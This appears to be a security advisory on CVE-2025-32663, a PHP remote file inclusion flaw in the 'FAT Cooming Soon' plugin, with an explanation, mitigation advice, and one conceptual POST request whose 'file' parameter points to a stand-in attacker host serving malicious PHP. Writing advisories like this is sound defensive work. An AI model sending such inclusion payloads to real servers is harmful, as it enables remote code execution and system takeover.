Overview
There is a significant vulnerability looming in the PHP world, specifically affecting the FAT Cooming Soon plugin. This vulnerability, identified as CVE-2025-32663, is a case of improper control of filename for Include/Require Statement in PHP Program, often termed as ‘PHP Remote File Inclusion’. This issue opens a gateway for PHP Local File Inclusion, potentially leading to a system compromise or data leakage. Any entity utilizing the FAT Cooming Soon plugin is susceptible to this vulnerability and thus needs to pay close attention to their security measures.

How the Exploit Works
The exploit capitalizes on improper control of filename for Include/Require Statement in PHP Program. This flaw allows an attacker to include a file from remote servers, leading to PHP Local File Inclusion. The attacker can manipulate the input data to construct the path of a file of their choice remotely. This manipulation can lead to the execution of arbitrary code, potentially resulting in unauthorized access, data leakage, or even a complete system takeover.
Conceptual Example Code
The conceptual example below demonstrates how an attacker might exploit this vulnerability. The attacker sends a POST request with a malicious payload, aiming to manipulate the ‘file’ parameter, which controls the file to be included.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file" : "http://malicious.example.com/malicious.php" }In this example, the ‘file’ parameter’s value is a URL pointing to a malicious PHP file hosted on an attacker-controlled server. If the application does not properly validate and sanitize the ‘file’ parameter, it includes the malicious PHP file, leading to the execution of the malicious code.
Mitigation
The most effective mitigation against this vulnerability is to apply the vendor patch. Users of the FAT Cooming Soon plugin should upgrade to the latest version as soon as possible. In the interim, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can help detect and block attempts to exploit this vulnerability. However, they do not replace the need for patching the underlying vulnerability in the plugin.
In addition, proper input validation and sanitization techniques should be employed to prevent such vulnerabilities from arising in the future. Always treat user inputs as untrusted data and ensure they are appropriately handled before using them in file include or require statements.
